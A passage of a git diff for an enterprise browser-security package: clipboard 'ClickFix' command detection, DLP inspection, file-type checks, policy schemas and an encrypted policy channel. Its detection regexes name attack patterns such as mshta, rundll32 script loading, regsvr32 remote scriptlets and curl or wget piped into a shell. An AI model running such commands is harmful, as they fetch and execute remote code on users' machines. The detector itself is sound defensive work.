blocked('clickfix-mshta-execution'); + if(/\brundll32(?:\.exe)?\b[\s\S]{0,512}?javascript:[\s\S]{0,512}?(?:runhtmlapplication|getobject)/.test(command))return blocked('clickfix-rundll32-script'); + if(/\bregsvr32(?:\.exe)?\b[\s\S]{0,512}?\/i:https?:\/\//.test(command))return blocked('clickfix-regsvr32-remote-script'); + if(remote&&/\b(?:curl|wget)(?:\.exe)?\b[^\n;]{0,1024}\|\s*(?:sudo\s+)?(?:sh|bash|zsh|pwsh|powershell)(?:\.exe)?\b/.test(command))return blocked('clickfix-download-pipe-shell'); + if(remote&&/\b(?:sh|bash|zsh)\s+-c\s+\$\([^\n]{0,1024}\b(?:curl|wget)\b/.test(command))return blocked('clickfix-shell-download-substitution'); + if(remote&&(download||/\b(?:curl|wget|certutil|bitsadmin)(?:\.exe)?\b/.test(command))&&/(?:&&|;|\n)\s*(?:(?:start|start-process|sh|bash|\.\/|\.\\)\s*)?[^\s;\n]{1,200}\.(?:exe|ps1|bat|cmd|sh)\b/.test(command))return blocked('clickfix-download-then-execute'); + if(remote&&/\b(?:python|python3)(?:\.exe)?\s+-c\b/.test(command)&&/\b(?:exec|eval)\s*\(/.test(command)&&/\b(?:urllib|requests)\b/.test(command))return blocked('clickfix-python-remote-execution'); + } + return allowed(); +} +export function inspectClipboard(bytes,policy,operation){ + if(!['copy','cut','paste'].includes(operation))return blocked('clipboard-operation-denied'); + if(!policy||!Number.isFinite(Date.parse(policy.expiresAt))||Date.parse(policy.expiresAt)<=Date.now())return blocked('clipboard-policy-expired'); + const settings=policy.security?.clipboard;if(!settings||settings.failClosed!==true)return blocked('clipboard-policy-unavailable'); + if(settings.enabled&&!settings[`allow${operation[0].toUpperCase()}${operation.slice(1)}`])return blocked(`clipboard-${operation}-disabled`); + let data,text;try{if(!Buffer.isBuffer(bytes)&&!(bytes instanceof Uint8Array)&&typeof bytes!=='string')throw Error();data=Buffer.from(bytes);if(data.length>Math.min(settings.maxTextBytes,policy.dlp.maxBytes))return blocked('clipboard-size-limit');text=new TextDecoder('utf-8',{fatal:true}).decode(data);if(text.includes('\0'))throw Error();}catch{return blocked('clipboard-uninspectable');} + const verdict=inspect(data,policy);if(verdict.decision!=='allow')return verdict; + return settings.enabled&&settings.blockSuspiciousCommands?detectClickFix(text):allowed(); +} + diff --git a/packages/core/diagnostics.mjs b/packages/core/diagnostics.mjs new file mode 100644 index 0000000..70d26e1 --- /dev/null +++ b/packages/core/diagnostics.mjs @@ -0,0 +1,13 @@ +import {z} from 'zod'; +export function diagnosticsEndpointAllowed(value){ + try{const u=new URL(value);if(u.username||u.password||u.search||u.hash||!['https:','http:'].includes(u.protocol))return false; + const host=u.hostname.replace(/^\[|\]$/g,'');return u.protocol==='https:'||host==='::1'||/^127\.(?:\d{1,3}\.){2}\d{1,3}$/.test(host)&&host.split('.').every(part=>Number(part)<=255); + }catch{return false;} +} +export const DiagnosticsSchema=z.object({ + enabled:z.boolean().default(false),mode:z.enum(['operational','debug']).default('operational'), + endpoint:z.string().max(2048).refine(diagnosticsEndpointAllowed,'Collector requires HTTPS or numeric loopback without credentials, query or fragment').optional(), + sampleRate:z.number().min(0).max(1).default(0.1),debugSampleRate:z.number().min(0).max(1).default(1), + maxQueueSize:z.number().int().min(16).max(4096).default(512),flushIntervalMs:z.number().int().min(250).max(10000).default(2000), + maxRecordAgeMs:z.number().int().min(1000).max(300000).default(30000),exportTimeoutMs:z.number().int().min(250).max(10000).default(2000) +}).strict().superRefine((config,context)=>{if(config.enabled&&!config.endpoint)context.addIssue({code:'custom',message:'Enabled diagnostics require a centrally configured collector',path:['endpoint']});}); diff --git a/packages/core/enterprise.mjs b/packages/core/enterprise.mjs new file mode 100644 index 0000000..5ced043 --- /dev/null +++ b/packages/core/enterprise.mjs @@ -0,0 +1,24 @@ +import { z } from 'zod'; +import { isIP } from 'node:net'; +const endpoint=(protocols)=>z.string().max(2048).refine(value=>{try{const u=new URL(value);return protocols.includes(u.protocol)&&!!u.hostname&&!u.username&&!u.password&&!u.hash&&!u.search&&u.pathname.length>1;}catch{return false;}},'Use an absolute service URL without credentials, query or fragment'); +export const EnterpriseSchema=z.object({ + dns:z.object({mode:z.enum(['system','secure']).default('system'),templates:z.array(endpoint(['https:'])).max(4).default([])}).strict().prefault({}), + vpn:z.object({required:z.boolean().default(false),interfaceNames:z.array(z.string().trim().min(1).max(100)).max(20).default([]),requiredDnsServers:z.array(z.string().refine(v=>isIP(v)>0,'Expected a DNS server IP address')).max(20).default([])}).strict().prefault({}), + icap:z.object({enabled:z.boolean().default(false),url:z.union([z.literal(''),endpoint(['icaps:','icap:'])]).default(''),method:z.enum(['RESPMOD','REQMOD']).default('RESPMOD'),allow204:z.literal(true).default(true),allowInsecureTransport:z.boolean().default(false),scanUploads:z.boolean().default(true),scanDownloads:z.boolean().default(true),scanClipboard:z.boolean().default(true),scanAI:z.boolean().default(true),timeoutMs:z.number().int().min(1000).max(60000).default(10000),maxBytes:z.number().int().min(1024).max(20*1024*1024).default(20*1024*1024),failClosed:z.literal(true).default(true)}).strict().prefault({}) +}).strict().prefault({}).superRefine((p,c)=>{ + if(p.dns.mode==='secure'&&!p.dns.templates.length)c.addIssue({code:'custom',path:['dns','templates'],message:'Secure DNS requires a corporate HTTPS resolver'}); + if(p.dns.mode==='system'&&p.dns.templates.length)c.addIssue({code:'custom',path:['dns','templates'],message:'Clear resolver templates when using system DNS'}); + if(p.vpn.required&&!p.vpn.interfaceNames.length)c.addIssue({code:'custom',path:['vpn','interfaceNames'],message:'Required VPN needs approved Windows interface names'}); + if(p.icap.enabled&&!p.icap.url)c.addIssue({code:'custom',path:['icap','url'],message:'Enabled ICAP requires a TLS ICAP service URL'}); + if(p.icap.enabled&&p.icap.url.startsWith('icap:')&&!p.icap.allowInsecureTransport&&!['127.0.0.1','[::1]','localhost'].includes(new URL(p.icap.url).hostname))c.addIssue({code:'custom',path:['icap','url'],message:'Remote plaintext ICAP requires explicit insecure transport approval'}); + if(p.icap.enabled&&![p.icap.scanUploads,p.icap.scanDownloads,p.icap.scanClipboard,p.icap.scanAI].some(Boolean))c.addIssue({code:'custom',path:['icap'],message:'Select at least one inspection channel'}); +}); +export function enterpriseReadiness(p){return [ + {id:'proxy',label:'Corporate proxy',state:p.proxy.mode==='direct'?'direct':'configured',detail:p.proxy.mode==='system'?'Uses Windows proxy and existing PAC configuration.':p.proxy.mode==='direct'?'Direct network access explicitly selected.':'Centrally managed proxy configuration.'}, + {id:'dns',label:'Corporate DNS',state:p.enterprise.dns.mode==='secure'?'configured':'system',detail:p.enterprise.dns.mode==='secure'?'Required HTTPS DNS resolver; no insecure fallback.':'Uses OS DNS, including VPN-provided servers.'}, + {id:'vpn',label:'VPN presence gate',state:p.enterprise.vpn.required?'configured':'optional',detail:'Windows interface presence is a gate, not proof of VPN routing or tunnel health.'}, + {id:'icap',label:'External antivirus / sandbox',state:p.enterprise.icap.enabled?'configured':'off',detail:'ICAP request/response scanning, full payload, allow or block only. No content modification or deferred verdict support; unavailable inspection blocks selected channels.'}, + {id:'downloads',label:'Download release',state:p.browser.allowDownloads&&((p.security.yara.enabled&&p.security.yara.rules.length)||(p.enterprise.icap.enabled&&p.enterprise.icap.scanDownloads))?'configured':'blocked',detail:'Downloads require configured local YARA or external ICAP scanning; enabled scanners are mandatory.'}, + {id:'semantic',label:'Local semantic DLP',state:p.dlp.semantic.enabled?'configured':'off',detail:'Requires installed pinned model and calibrated references. Configuration does not prove device readiness.'} + ];} + diff --git a/packages/core/file-transfer.cjs b/packages/core/file-transfer.cjs new file mode 100644 index 0000000..a5f9b1b --- /dev/null +++ b/packages/core/file-transfer.cjs @@ -0,0 +1,29 @@ +'use strict'; +const {createHash}=require('node:crypto'); +const path=require('node:path'); +const TYPES=['pe','elf','macho','pdf','zip','png','jpeg','gif','webp','gzip','text','unknown']; +const EXT={exe:'pe',dll:'pe',sys:'pe',elf:'elf',pdf:'pdf',zip:'zip',docx:'zip',xlsx:'zip',pptx:'zip',png:'png',jpg:'jpeg',jpeg:'jpeg',gif:'gif',webp:'webp',gz:'gzip',gzip:'gzip',txt:'text',csv:'text',json:'text',html:'text',js:'text',css:'text',xml:'text',md:'text'}; +const MIME={'application/pdf':'pdf','application/zip':'zip','application/x-zip-compressed':'zip','application/vnd.openxmlformats-officedocument.wordprocessingml.document':'zip','application/vnd.openxmlformats-officedocument.spreadsheetml.sheet':'zip','application/vnd.openxmlformats-officedocument.presentationml.presentation':'zip','image/png':'png','image/jpeg':'jpeg','image/gif':'gif','image/webp':'webp','application/gzip':'gzip','application/x-gzip':'gzip','application/json':'text','application/xml':'text','application/javascript':'text','application/x-msdownload':'pe','application/vnd.microsoft.portable-executable':'pe'}; +function safeFilename(value){const name=path.win32.basename(path.posix.basename(String(value||'download.bin'))).replace(/[<>:"/\\|?*\x00-\x1f\x7f]/g,'_').replace(/[. ]+$/g,'').slice(0,180);return !name||/^(con|prn|aux|nul|com[1-9]|lpt[1-9])(?:\.|$)/i.test(name)?'download.bin':name;} +function detectType(value){ + const b=Buffer.from(value);const starts=(hex)=>b.length>=hex.length/2&&b.subarray(0,hex.length/2).equals(Buffer.from(hex,'hex')); + // MZ is blocked as PE-family even if the header is corrupt or deliberately truncated. + if(starts('4d5a'))return 'pe';if(starts('7f454c46'))return 'elf'; + if(['feedface','cefaedfe','feedfacf','cffaedfe','cafebabe','bebafeca','cafebabf','bfbafeca'].some(starts))return 'macho'; + if(starts('255044462d'))return 'pdf';if(['504b0304','504b0506','504b0708'].some(starts))return 'zip'; + if(starts('89504e470d0a1a0a'))return 'png';if(starts('ffd8ff'))return 'jpeg'; + if(b.subarray(0,6).toString('ascii')==='GIF87a'||b.subarray(0,6).toString('ascii')==='GIF89a')return 'gif'; + if(b.length>=12&&b.subarray(0,4).toString('ascii')==='RIFF'&&b.subarray(8,12).toString('ascii')==='WEBP')return 'webp';if(starts('1f8b'))return 'gzip'; + // Decode the entire bounded payload. Prefix-only heuristics miss binary tails. + try{const text=new TextDecoder('utf-8',{fatal:true}).decode(b);if(!/[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]/.test(text))return 'text';}catch{} + return 'unknown'; +} +function inspectFileTransfer(bytes,policy,direction,metadata={}){ + if(!['upload','download'].includes(direction))throw Error('Unsupported transfer direction'); + const settings=policy.fileTransfers?.[direction]||{};const name=safeFilename(metadata.filename),mime=String(metadata.mime||'').split(';',1)[0].trim().toLowerCase().slice(0,160); + const detectedType=detectType(bytes),extensionType=EXT[path.extname(name).slice(1).toLowerCase()]||null,mimeType=mime.startsWith('text/')?'text':MIME[mime]||null; + const facts={filename:name,mimeclaimed:mime,detectedType,size:bytes.length,sha256:createHash('sha256').update(bytes).digest('hex'),extensionMismatch:!!extensionType&&extensionType!==detectedType,mimeMismatch:!!mimeType&&mimeType!==detectedType}; + let ruleId=null;if(bytes.length>(settings.maxBytes??20*1024*1024))ruleId='file-transfer-size-limit';else if(settings.blockedTypes?.includes(detectedType))ruleId='file-transfer-type-blocked';else if(settings.allowTypes?.length&&!settings.allowTypes.includes(detectedType))ruleId='file-transfer-type-not-allowed';else if(settings.blockUnknown&&detectedType==='unknown')ruleId='file-transfer-unknown';else if(settings.blockExtensionMismatch&&facts.extensionMismatch)ruleId='file-transfer-extension-mismatch';else if(settings.blockMimeMismatch&&facts.mimeMismatch)ruleId='file-transfer-mime-mismatch'; + return {decision:ruleId?'block':'allow',ruleId,...facts}; +} +module.exports={TYPES,safeFilename,detectType,inspectFileTransfer}; diff --git a/packages/core/file-transfer.mjs b/packages/core/file-transfer.mjs new file mode 100644 index 0000000..739946e --- /dev/null +++ b/packages/core/file-transfer.mjs @@ -0,0 +1,5 @@ +import {z} from 'zod'; +import transfer from './file-transfer.cjs'; +export const {TYPES,safeFilename,detectType,inspectFileTransfer}=transfer; +const DirectionSchema=z.object({maxBytes:z.number().int().min(1).max(20*1024*1024).default(20*1024*1024),allowTypes:z.array(z.enum(TYPES)).max(TYPES.length).default([]),blockedTypes:z.array(z.enum(TYPES)).max(TYPES.length).default([]),blockUnknown:z.boolean().default(false),blockExtensionMismatch:z.boolean().default(false),blockMimeMismatch:z.boolean().default(false),allowWithoutMalwareScanner:z.boolean().default(false)}).strict(); +export const FileTransfersSchema=z.object({upload:DirectionSchema.prefault({}),download:DirectionSchema.prefault({})}).strict(); diff --git a/packages/core/managed-settings.mjs b/packages/core/managed-settings.mjs new file mode 100644 index 0000000..003ebca --- /dev/null +++ b/packages/core/managed-settings.mjs @@ -0,0 +1,22 @@ +import { z } from 'zod'; + +// These names are shared by native IPC guards and the trusted browser chrome. +// Hiding a section removes access, rather than only changing its presentation. +export const SETTINGS_SECTIONS = Object.freeze(['appearance', 'library', 'ai', 'passwords', 'documentScan', 'agents']); +const sections = z.array(z.enum(SETTINGS_SECTIONS)).max(SETTINGS_SECTIONS.length).refine(items => new Set(items).size === items.length, 'Settings sections must be unique'); +export const ManagedSettingsSchema = z.object({ + visible: z.boolean().default(true), + hiddenSections: sections.default([]), + lockedSections: sections.default([]), + appearance: z.object({ + mode: z.enum(['system', 'light', 'dark']).default('system'), + accent: z.enum(['blue', 'teal', 'violet']).default('blue'), + tabMode: z.enum(['separate', 'compact']).default('separate') + }).strict().prefault({}) +}).strict().prefault({}); + +export function settingsSectionAllowed(policy, section) { + if (!SETTINGS_SECTIONS.includes(section)) return false; + const settings = ManagedSettingsSchema.safeParse(policy?.browser?.settings); + return settings.success && settings.data.visible && !settings.data.hiddenSections.includes(section) && !settings.data.lockedSections.includes(section); +} diff --git a/packages/core/policy-channel.cjs b/packages/core/policy-channel.cjs new file mode 100644 index 0000000..a971b7a --- /dev/null +++ b/packages/core/policy-channel.cjs @@ -0,0 +1,35 @@ +'use strict'; +// Application-layer policy encryption over authenticated HTTPS. No TLS replacement. +const c=require('node:crypto'); +const VERSION='safetynet-policy-mlkem1024-mldsa87-v1'; +const MAX=3*1024*1024; +const fail=()=>{throw Error('Protected management channel refused');}; +const record=value=>{if(!value||typeof value!=='object'||Array.isArray(value))fail();return value;}; +function exact(value,keys){record(value);if(Object.keys(value).sort().join(',')!==keys.slice().sort().join(','))fail();} +const encode=value=>value.toString('base64url'); +function decode(value,max=MAX){if(typeof value!=='string'||value.length>Math.ceil(max*4/3)||!value.length||!/^[A-Za-z0-9_-]+$/.test(value))fail();const bytes=Buffer.from(value,'base64url');if(bytes.length>max||encode(bytes)!==value)fail();return bytes;} +function publicKey(pem,type){if(typeof pem!=='string'||pem.length>20000)fail();const key=c.createPublicKey(pem);if(key.asymmetricKeyType!==type)fail();return key;} +const bytes=value=>Buffer.from(JSON.stringify(value)); +function signed(payload,edPrivate,pqPrivate){const data=bytes(payload);return {...payload,edSignature:encode(c.sign(null,data,edPrivate)),pqSignature:encode(c.sign(null,data,pqPrivate))};} +function verified(value,keys,edPublic,pqPublic){exact(value,[...keys,'edSignature','pqSignature']);const payload=Object.fromEntries(keys.map(key=>[key,value[key]]));const data=bytes(payload);if(!c.verify(null,data,publicKey(edPublic,'ed25519'),decode(value.edSignature,64))||!c.verify(null,data,publicKey(pqPublic,'ml-dsa-87'),decode(value.pqSignature,5000)))fail();return payload;} +function identity(edPrivate,pqPrivate,pqPublic){publicKey(pqPublic,'ml-dsa-87');return signed({version:VERSION,signatureKey:pqPublic},edPrivate,pqPrivate);} +function verifyIdentity(value,edPublic,pin){record(value);if(value.version!==VERSION||pin&&value.signatureKey!==pin)fail();verified(value,['version','signatureKey'],edPublic,pin||value.signatureKey);return value.signatureKey;} +function challenge(deviceId,edPrivate,pqPrivate,now=Date.now()){ + const pair=c.generateKeyPairSync('ml-kem-1024'); + const bundle=signed({version:VERSION,deviceId,id:encode(c.randomBytes(32)),expiresAt:now+60000,kemKey:pair.publicKey.export({type:'spki',format:'pem'})},edPrivate,pqPrivate); + return {bundle,privateKey:pair.privateKey}; +} +function verifyChallenge(value,deviceId,edPublic,pqPublic,now=Date.now()){ + const result=verified(value,['version','deviceId','id','expiresAt','kemKey'],edPublic,pqPublic); + if(result.version!==VERSION||result.deviceId!==deviceId||decode(result.id,32).length!==32||!Number.isSafeInteger(result.expiresAt)||result.expiresAt<=now||result.expiresAt>now+65000)fail(); + publicKey(result.kemKey,'ml-kem-1024');return result; +} +function derive(shared,bundle,direction){const salt=c.createHash('sha384').update(bytes(bundle)).digest();return Buffer.from(c.hkdfSync('sha384',shared,salt,Buffer.from(VERSION+':'+direction),32));} +const aad=(bundle,direction)=>bytes({version:VERSION,id:bundle.id,deviceId:bundle.deviceId,direction}); +function seal(key,value,bundle,direction){const input=bytes(value);if(input.length>MAX)fail();const iv=c.randomBytes(12),cipher=c.createCipheriv('aes-256-gcm',key,iv);cipher.setAAD(aad(bundle,direction));try{return {iv:encode(iv),ciphertext:encode(Buffer.concat([cipher.update(input),cipher.final()])),tag:encode(cipher.getAuthTag())};}finally{input.fill(0);}} +function open(key,value,bundle,direction){exact(value,['iv','ciphertext','tag']);const iv=decode(value.iv,12),tag=decode(value.tag,16);if(iv.length!==12||tag.length!==16)fail();const cipher=c.createDecipheriv('aes-256-gcm',key,iv);cipher.setAAD(aad(bundle,direction));cipher.setAuthTag(tag);let plaintext;try{plaintext=Buffer.concat([cipher.update(decode(value.ciphertext)),cipher.final()]);return JSON.parse(plaintext.toString('utf8'));}finally{plaintext?.fill(0);}} +function prepare(bundle){const {sharedKey,ciphertext}=c.encapsulate(publicKey(bundle.kemKey,'ml-kem-1024'));const requestKey=derive(sharedKey,bundle,'request'),responseKey=derive(sharedKey,bundle,'response');sharedKey.fill(0);const requestId=encode(c.randomBytes(32));try{return {request:{version:VERSION,id:bundle.id,deviceId:bundle.deviceId,kemCiphertext:encode(ciphertext),encrypted:seal(requestKey,{purpose:'policy',requestId},bundle,'request')},responseKey,requestId};}finally{requestKey.fill(0);}} +function receive(request,bundle,privateKey){exact(request,['version','id','deviceId','kemCiphertext','encrypted']);if(request.version!==VERSION||request.id!==bundle.id||request.deviceId!==bundle.deviceId||bundle.expiresAt<=Date.now())fail();const ciphertext=decode(request.kemCiphertext,1568);if(ciphertext.length!==1568)fail();const shared=c.decapsulate(privateKey,ciphertext),requestKey=derive(shared,bundle,'request'),responseKey=derive(shared,bundle,'response');shared.fill(0);try{const body=open(requestKey,request.encrypted,bundle,'request');exact(body,['purpose','requestId']);if(body.purpose!=='policy'||decode(body.requestId,32).length!==32)fail();return {responseKey,requestId:body.requestId};}catch(error){responseKey.fill(0);throw error;}finally{requestKey.fill(0);}} +function response(policy,bundle,context){return {version:VERSION,id:bundle.id,encrypted:seal(context.responseKey,{requestId:context.requestId,policy},bundle,'response')};} +function finish(value,bundle,context){exact(value,['version','id','encrypted']);if(value.version!==VERSION||value.id!==bundle.id)fail();const body=open(context.responseKey,value.encrypted,bundle,'response');exact(body,['requestId','policy']);if(body.requestId!==context.requestId)fail();return body.policy;} +module.exports={VERSION,identity,verifyIdentity,challenge,verifyChallenge,prepare,receive,response,finish}; diff --git a/packages/core/policy-groups.mjs b/packages/core/policy-groups.mjs new file mode 100644 index 0000000..1b31e09 --- /dev/null +++ b/packages/core/policy-groups.mjs @@ -0,0 +1,48 @@ +import {z} from 'zod'; +import {SETTINGS_SECTIONS} from './managed-settings.mjs'; +import {BookmarkItemsSchema} from './bookmarks.mjs'; + +const id=z.string().min(1).max(80).regex(/^[A-Za-z0-9][A-Za-z0-9._-]*$/); +const unique=(schema,max)=>z.array(schema).max(max).refine(items=>new Set(items).size===items.length,'Values must be unique'); +const host=z.string().max(253).regex(/^(\*\.)?[a-z0-9](?:[a-z0-9.-]*[a-z0-9])?$/i); +export const GroupRestrictionsSchema=z.object({ + blockedHosts:unique(host,200).default([]),blockedPhrases:unique(z.string().min(1).max(4096),500).default([]), + disableDownloads:z.boolean().default(false),disableAI:z.boolean().default(false),disableAgents:z.boolean().default(false), + hideSettings:z.boolean().default(false),requireDocumentScan:z.boolean().default(false), + hiddenSections:unique(z.enum(SETTINGS_SECTIONS),SETTINGS_SECTIONS.length).default([]), + lockedSections:unique(z.enum(SETTINGS_SECTIONS),SETTINGS_SECTIONS.length).default([]), + managedBookmarks:BookmarkItemsSchema.default([]) +}).strict(); +export const PolicyGroupSchema=z.object({id,name:z.string().min(1).max(100).refine(v=>!/[\u0000-\u001f\u007f]/.test(v)), + memberDeviceIds:unique(id,10000),restrictions:GroupRestrictionsSchema, + rollout:z.object({stage:z.enum(['pilot','expanded','all']),deviceIds:unique(id,10000).default([])}).strict() +}).strict().superRefine((group,ctx)=>{ + if(group.rollout.stage==='all'&&group.rollout.deviceIds.length)ctx.addIssue({code:'custom',message:'All-members rollout requires empty cohort'}); + if(group.rollout.stage!=='all'&&(!group.rollout.deviceIds.length||group.rollout.deviceIds.some(i=>!group.memberDeviceIds.includes(i))))ctx.addIssue({code:'custom',message:'Pilot and expanded cohorts must be nonempty subsets of members'}); + if(Buffer.byteLength(JSON.stringify(group))>250000)ctx.addIssue({code:'custom',message:'Group exceeds the 250 KB feature budget'}); +}); +export const GroupAssignmentSchema=z.object({deviceId:id,groups:unique(id,100),profiles:unique(id,100).optional()}).strict(); +export function groupApplies(group,deviceId){return group.memberDeviceIds.includes(deviceId)&&(group.rollout.stage==='all'||group.rollout.deviceIds.includes(deviceId));} +// The company baseline always survives. Boolean restrictions combine with OR; +// block lists and hidden sections combine with a stable union, never replacement. +export function applyPolicyGroups(policy,groups,deviceId){ + const result=structuredClone(policy),applied=groups.map(g=>PolicyGroupSchema.parse(g)).filter(g=>groupApplies(g,deviceId)).sort((a,b)=>a.id.localeCompare(b.id,'en')); + const union=(a,b)=>[...new Set([...a,...b])].sort(); + for(const group of applied){const r=group.restrictions; + result.browser.blockedHosts=union(result.browser.blockedHosts,r.blockedHosts); + result.security.content.blockedPhrases=union(result.security.content.blockedPhrases,r.blockedPhrases); + if(r.disableDownloads)result.browser.allowDownloads=false; + if(r.disableAI)result.ai.enabled=false; + if(r.disableAgents)result.agents.enabled=false; + if(r.hideSettings)result.browser.settings.visible=false; + if(r.requireDocumentScan)result.inspection.documentAnalysisEnabled=true; + result.browser.settings.hiddenSections=union(result.browser.settings.hiddenSections,r.hiddenSections); + result.browser.settings.lockedSections=union(result.browser.settings.lockedSections,r.lockedSections); + for(const bookmark of r.managedBookmarks){const existing=result.browser.bookmarks.managed.find(b=>b.id===bookmark.id); + if(existing&&JSON.stringify(existing)!==JSON.stringify(bookmark))throw Error('Managed bookmark ID conflicts across policies'); + if(!existing)result.browser.bookmarks.managed.push(bookmark); + } + } + result.assignment={deviceId,groups:applied.map(g=>g.id),...(result.assignment?.profiles?{profiles:result.assignment.profiles}:{})}; + return result; +} diff --git a/packages/core/policy.mjs b/packages/core/policy.mjs new file mode 100644 index 0000000..5734e50 --- /dev/null +++ b/packages/core/policy.mjs @@ -0,0 +1,133 @@ +import { z } from 'zod'; +import { createHash, createPrivateKey, createPublicKey, sign, verify } from 'node:crypto'; +import { SecuritySchema, AgentsSchema } from './security.mjs'; +import { SemanticPolicySchema } from './semantic.mjs'; +import { ManagedSettingsSchema } from './managed-settings.mjs'; +import { EnterpriseSchema } from './enterprise.mjs'; +import { BookmarksSchema } from './bookmarks.mjs'; +import {GroupAssignmentSchema} from './policy-groups.mjs'; +import {DiagnosticsSchema} from './diagnostics.mjs'; +import {FileTransfersSchema} from './file-transfer.mjs'; +import {UserAccessSchema} from './user-profiles.mjs'; + +const host = z.string().max(253).regex(/^(\*\.)?[a-z0-9](?:[a-z0-9.-]*[a-z0-9])?$/i); +export const PolicySchema = z.object({ + version: z.number().int().positive(), + assignment:GroupAssignmentSchema.optional(), + userAccess:UserAccessSchema, + diagnostics:DiagnosticsSchema.prefault({}), + fileTransfers:FileTransfersSchema.prefault({}), + expiresAt: z.string().datetime(), + brand: z.object({ name: z.string().min(1).max(40), color: z.string().regex(/^#[0-9a-f]{6}$/i) }), + browser: z.object({ + homeUrl: z.string().url(), allowedHosts: z.array(host).max(200), blockedHosts: z.array(host).max(200), + allowDownloads: z.boolean(), allowDevTools: z.boolean(), allowWebSockets: z.boolean(), + settings: ManagedSettingsSchema, bookmarks: BookmarksSchema + }), + proxy: z.discriminatedUnion('mode', [ + z.object({ mode: z.literal('system') }), z.object({ mode: z.literal('direct') }), + z.object({ mode: z.literal('fixed_servers'), rules: z.string().min(1).max(2048), bypass: z.string().max(1024).default('') }), + z.object({ mode: z.literal('pac_script'), pacUrl: z.string().url().refine(v => v.startsWith('https://')) }) + ]), + dlp: z.object({ + maxBytes: z.number().int().min(1024).max(10 * 1024 * 1024), + blockUninspectable: z.literal(true), + semantic: SemanticPolicySchema, + rules: z.array(z.object({ id: z.string().min(1).max(80), label: z.string().min(1).max(100), + kind: z.enum(['literal', 'sha256','fragment-sha256']), value: z.string().min(1).max(4096), + action: z.literal('block') }).superRefine((r,ctx) => { + if(r.kind !== 'literal' && !/^[a-f0-9]{64}$/i.test(r.value)) ctx.addIssue({code:'custom',message:'Invalid SHA-256 fingerprint'}); + })).max(10000) + }), + security: SecuritySchema, + inspection:z.object({documentAnalysisEnabled:z.boolean().default(true)}).prefault({}), + passwordManager:z.object({enabled:z.boolean().default(true),allowSaving:z.boolean().default(true),allowAutofill:z.boolean().default(true),idleLockSeconds:z.number().int().min(60).max(900).default(300)}).strict().prefault({}), + agents: AgentsSchema, + enterprise: EnterpriseSchema, + ai: z.object({ enabled: z.boolean(), model: z.string().max(100),provider:z.enum(['openai-compatible','ollama']).default('openai-compatible'),trustMode:z.enum(['external','local']).default('external'),endpointId:z.string().max(80).default('default'),allowConfidentialLocal:z.boolean().default(false) }) +}).strict().superRefine((p, ctx) => { + if (!['https:', 'http:'].includes(new URL(p.browser.homeUrl).protocol)) ctx.addIssue({code:'custom',message:'Home must be HTTP(S)'}); + if(new Set(p.dlp.rules.map(r=>r.id)).size !== p.dlp.rules.length) ctx.addIssue({code:'custom',message:'Rule IDs must be unique'}); + if(p.dlp.semantic.enabled&&(!p.dlp.semantic.revision||!p.dlp.semantic.categories.length))ctx.addIssue({code:'custom',message:'Semantic enforcement requires a pinned model revision and references'}); + if(new Set(p.dlp.semantic.categories.map(r=>r.id)).size!==p.dlp.semantic.categories.length)ctx.addIssue({code:'custom',message:'Semantic category IDs must be unique'}); + for(const [name,rules] of [['YARA',p.security.yara.rules],['Sigma',p.security.sigma.rules]])if(new Set(rules.map(r=>r.id)).size!==rules.length)ctx.addIssue({code:'custom',message:`${name} rule IDs must be unique`}); + if(new Set(p.security.visualPhishing.brands.map(b=>b.id)).size!==p.security.visualPhishing.brands.length)ctx.addIssue({code:'custom',message:'Visual brand IDs must be unique'}); + if(p.security.visualPhishing.enabled&&!p.security.visualPhishing.brands.length)ctx.addIssue({code:'custom',message:'Visual protection requires explicit reference brands'}); + if(Buffer.byteLength(JSON.stringify(p))>1572864)ctx.addIssue({code:'custom',message:'Signed policy exceeds the 1.5 MiB feature budget'}); +}); + +export function defaultPolicy() { + return PolicySchema.parse({ version: 1, expiresAt: new Date(Date.now()+7*86400000).toISOString(), + brand: {name:'SafetyNet',color:'#137c66'}, + browser:{homeUrl:'https://example.com',allowedHosts:[],blockedHosts:[],allowDownloads:false,allowDevTools:false,allowWebSockets:false}, + proxy:{mode:'system'}, dlp:{maxBytes:1048576,blockUninspectable:true,rules:[]}, ai:{enabled:false,model:''} }); +} +export function hostMatches(hostname, pattern) { + const name = hostname.toLowerCase().replace(/\.$/, ''); + const p = pattern.toLowerCase(); + return p.startsWith('*.') ? name.endsWith(p.slice(1)) && name !== p.slice(2) : name === p; +} +export function destinationAllowed(url, policy) { + try { + const u = new URL(url); + if(!['http:','https:','ws:','wss:'].includes(u.protocol)) return false; + if(u.username || u.password) return false; + if(policy.browser.blockedHosts.some(p=>hostMatches(u.hostname,p))) return false; + if(policy.security?.dns?.enabled && policy.security.dns.blockedHosts.some(p=>hostMatches(u.hostname,p))) return false; + return !policy.browser.allowedHosts.length || policy.browser.allowedHosts.some(p=>hostMatches(u.hostname,p)); + } catch { return false; } +} +const builtins = [ + ['private-key', /-----BEGIN (?:RSA |EC |OPENSSH |DSA )?PRIVATE KEY-----/], + ['aws-access-key', /\b(?:AKIA|ASIA)[A-Z0-9]{16}\b/], + ['api-secret', /\b(?:sk-[a-zA-Z0-9_-]{20,}|gh[pousr]_[a-zA-Z0-9]{20,})\b/] +]; +export function fragmentHashes(text){ + const normalized=text.normalize('NFKC').toLowerCase().replace(/ß/g,'ss').replace(/ς/g,'σ'),words=normalized.match(/[\p{L}\p{N}_]+/gu)||[],hashes=new Set(); + const hash=s=>createHash('sha256').update(s).digest('hex');for(let i=0;i+8<=words.length;i++)hashes.add(hash(words.slice(i,i+8).join(' '))); + for(const part of normalized.split(/\n\s*\n/)){const p=part.trim().replace(/\s+/gu,' ');if([...p].length>=32)hashes.add(hash(p));}return hashes; +} +export function inspect(bytes, policy) { + const data = Buffer.from(bytes); + if(data.length > policy.dlp.maxBytes) return {decision:'block',ruleId:'size-limit'}; + const hash = createHash('sha256').update(data).digest('hex'); + for(const r of policy.dlp.rules) if(r.kind==='sha256' && r.value.toLowerCase()===hash) return {decision:'block',ruleId:r.id}; + let text; + try { text = new TextDecoder('utf-8',{fatal:true}).decode(data); } + catch { return {decision:'block',ruleId:'uninspectable'}; } + if(text.includes('\0')) return {decision:'block',ruleId:'uninspectable'}; + const variants = [text]; + try { variants.push(decodeURIComponent(text.replace(/\+/g,' '))); } catch {} + try { variants.push(JSON.stringify(JSON.parse(text))); } catch {} + for(const value of variants) { + let fragments;for(const r of policy.dlp.rules)if(r.kind==='fragment-sha256'){fragments??=fragmentHashes(value);if(fragments.has(r.value.toLowerCase()))return {decision:'block',ruleId:r.id};} + for(const phrase of 